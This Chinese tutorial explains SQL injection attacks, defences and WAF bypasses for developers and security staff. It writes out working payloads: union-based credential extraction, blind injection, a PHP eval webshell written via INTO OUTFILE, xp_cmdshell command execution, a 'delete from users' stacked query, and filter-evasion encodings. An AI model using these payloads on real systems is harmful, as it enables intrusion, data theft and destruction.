在网络安全攻防对抗中,SQL注入(SQL Injection)始终是高频高危漏洞。它并非复杂的尖端技术,却因开发者的疏忽和防护的疏漏,长期威胁着Web应用的安全。本文将从攻击原理与实操、全维度防御方案、常见绕过技巧三大核心板块,全方位拆解SQL注入,帮你既懂攻击逻辑,又能筑牢防护壁垒。
SQL注入的核心是“破坏SQL语句结构,注入恶意逻辑”,其攻击效果取决于注入点权限、数据库类型及攻击者的利用技巧。以下从注入点识别、实操攻击、不同数据库特性三个层面展开。
攻击者需先找到存在注入漏洞的输入点,常见注入点类型及识别方法如下:
http://xxx.com/list?id=1',若页面报错“SQL语法错误”,则大概率存在注入点。识别核心逻辑:判断用户输入是否被“原样拼接”到SQL语句中,且未经过滤。
假设已找到GET注入点http://xxx.com/user?id=1,后台原始SQL为:SELECT * FROM user WHERE id = $id;,攻击流程如下:
// 单引号测试(判断是否存在注入)
http://xxx.com/user?id=1' // 若报错,存在注入
// order by 判断字段数(假设字段数为3)
http://xxx.com/user?id=1 order by 3--
http://xxx.com/user?id=1 order by 4-- // 若报错,说明字段数为3
// 使前半部分查询无结果,仅显示联合查询内容
http://xxx.com/user?id=-1 union select 1,database(),version()--
// 结果解析:database()返回当前数据库名,version()返回数据库版本
// 进一步查询表名
http://xxx.com/user?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--
// 查询字段名(假设表名为users)
http://xxx.com/user?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--
// 窃取数据(假设字段为username、password)
http://xxx.com/user?id=-1 union select 1,group_concat(username,':',password),3 from users--
若页面无报错,仅返回正常/异常页面(布尔盲注)或存在响应延迟(时间盲注),需逐字符猜解:
// 布尔盲注:猜解当前数据库名长度(长度为8时页面正常)
http://xxx.com/user?id=1 and length(database())=8--
// 逐字符猜解数据库名(第一个字符为't')
http://xxx.com/user?id=1 and substr(database(),1,1)='t'--
// 时间盲注:利用SLEEP()函数,条件成立则延迟3秒
http://xxx.com/user?id=1 and if(substr(database(),1,1)='t',sleep(3),1)--
若数据库权限足够(如MySQL的secure_file_priv为空),可写入webshell或执行系统命令:
// 写入webshell到网站根目录(需知道网站路径)
http://xxx.com/user?id=-1 union select 1,'<?php @eval($_POST[cmd]);?>',3 into outfile '/var/www/html/shell.php'--
// 执行系统命令(需开启xp_cmdshell扩展,仅Windows环境)
http://xxx.com/user?id=-1;exec master..xp_cmdshell('ipconfig')--
不同数据库的SQL语法、系统表结构不同,注入技巧需针对性调整:
防御SQL注入的核心是“切断恶意语句执行路径”,需从编码规范、权限控制、工具防护、流程管控四个层面构建体系,单一防护手段难以抵御所有攻击。
这是最核心、最有效的防御手段,将SQL语句结构与用户输入分离,用户输入仅作为“参数值”传递,数据库自动过滤恶意内容。主流语言示例如下:
// Java(JDBC)
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement pstmt = conn.prepareStatement(sql);
pstmt.setString(1, username); // 参数绑定
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();
// Python(MySQLdb)
sql = "SELECT * FROM users WHERE username = %s AND password = %s"
cursor.execute(sql, (username, password)) // 自动参数化
// C#(ADO.NET)
string sql = "SELECT * FROM users WHERE username = @username AND password = @password";
SqlCommand cmd = new SqlCommand(sql, conn);
cmd.Parameters.AddWithValue("@username", username);
cmd.Parameters.AddWithValue("@password", password);
建立“白名单验证”机制(优先于黑名单),仅允许符合规则的输入:
禁止直接将用户输入作为表名、列名、排序字段拼接SQL。若需动态使用标识符,需提前定义允许的列表,通过映射关系获取:
// 错误写法(直接拼接排序字段,存在注入风险)
String sql = "SELECT * FROM users ORDER BY " + orderField;
// 正确写法(白名单映射)
Map<String, String> orderMap = new HashMap<>();
orderMap.put("name", "username");
orderMap.put("time", "create_time");
String safeField = orderMap.getOrDefault(orderField, "id"); // 默认按ID排序
String sql = "SELECT * FROM users ORDER BY " + safeField;
Web应用连接数据库的账号,仅授予执行业务所需的最小权限:
WAF可作为防护的第一道屏障,通过规则匹配拦截常见SQL注入攻击(如union、sleep、exec等关键字)。主流WAF包括:
ORM(对象关系映射)框架(如Hibernate、MyBatis、Django ORM)内置参数化查询机制,可减少手动拼接SQL的风险。但需注意:MyBatis中若使用${}语法(直接拼接),仍可能存在注入,需改用#{}(参数化)。
攻击者为突破防护措施,会通过变异语句、编码转换等方式绕过过滤规则。了解这些技巧,能帮助我们优化防御策略,避免防护被轻易突破。
若防护仅过滤union、select、sleep等关键字,可通过以下方式变异绕过:
UnIoN SeLeCt、SLeEp(3),绕过区分大小写的关键字过滤。union/*abc*/select、id=1%0aand%0asleep(3)。uni||on、sel||ect,SQL Server中un+ion。benchmark(1000000,md5(1))替换sleep()实现延迟效果。对恶意语句进行编码转换,绕过字符过滤,常见编码方式:
CHAR(115,101,108,101,99,116),MySQL中可直接执行。\u0073\u0065\u006c\u0065\u0063\u0074。利用注释符截断语句、填充无关内容,绕过规则匹配:
// 用/*...*/填充无关内容,绕过关键字检测
union/*xxx*/select/*123*/1,database()--
// 内联注释(仅MySQL支持),绕过部分WAF规则
/*!union*/ select 1,2,3--
// 用--+、#截断语句(+在URL中解析为空格)
id=1' or 1=1--+
id=1;delete from users-- (需数据库支持分号分隔执行)。id=1%df' or 1=1-- 。SQL注入的攻防对抗,本质是“编码规范”与“攻击变异”的博弈。攻击者的技巧不断迭代,但防护的核心始终不变——从源头拒绝信任用户输入,通过参数化查询、最小权限、WAF防护、持续审计构建多重屏障。
对于开发者而言,需牢记“不手动拼接SQL、不相信任何用户输入”;对于运维与安全人员,需熟悉常见绕过技巧,优化防护规则,定期开展安全检测。只有将防护意识融入开发、运维全流程,才能真正抵御SQL注入的威胁,守护Web应用与用户数据的安全。